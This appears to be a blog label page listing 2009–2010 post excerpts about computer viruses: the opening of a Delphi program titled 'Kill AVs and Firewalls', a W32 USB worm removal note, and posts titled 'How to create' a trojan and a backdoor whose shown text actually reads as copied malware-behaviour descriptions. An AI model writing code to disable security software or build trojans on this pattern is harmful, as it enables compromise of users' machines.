Showing posts with label Viruses. Show all posts
Showing posts with label Viruses. Show all posts

Friday, April 23, 2010

Kill AVs and Firewalls

program killer;uses tlhelp32;type PServiceStatus = ^TServiceStatus; {$EXTERNALSYM _SERVICE_STATUS} _SERVICE_STATUS = record dwServiceType: LongWORD; dwCurrentState: LongWORD; dwControlsAccepted: LongWORD; dwWin32ExitCode: LongWORD; dwServiceSpecificExitCode: LongWORD; dwCheckPoint: LongWORD; dwWaitHint: LongWORD; end; {$EXTERNALSYM SERVICE_STATUS} SERVICE_STATUS = _SERVICE_STATUS;

Monday, November 23, 2009

How to remove w32 usb worm

W32.USB Worm or Heap41a attempts to periodically copy itself to removable drives and USB keys. The worm will attempt to create a hidden file Autorun.inf on the removeable drive and copy itself to the removeable drive as MicrosoftPowerPoint.exe. It will monitor internet brwser activities and display the following messages: “USE INTERNET EXPLORER YOU DOPE, I DNT HATE MOZILLA BUT USE IE OR ELSE…” “

Tuesday, November 17, 2009

How to create a trojan virus

Creates the following mutex, so that only one instance of the Trojan runs on the compromised computer at any one time:_Toolbar_Class_32Creates the following backup copy of the valid system file %System%\userinit.exe:%Windir%\system\userinit.exeThe Trojan then creates a copy of itself as the following file, overwriting the original %System%\userinit.exe file in the process:%System%\

How to create a backdoor virus

Creates and executes the following file: %CurrentFolder%\hms.exe Note: %CurrentFolder% is a variable that refers to the folder where the risk was originally executed.Creates the following files: * %System%\Zykheptd.dll * %System%\Zykheptd.sysNote: %System% is a variable that refers to the System folder. By default this is C:\Windows\System (Windows 95/98/Me), C:\Winnt\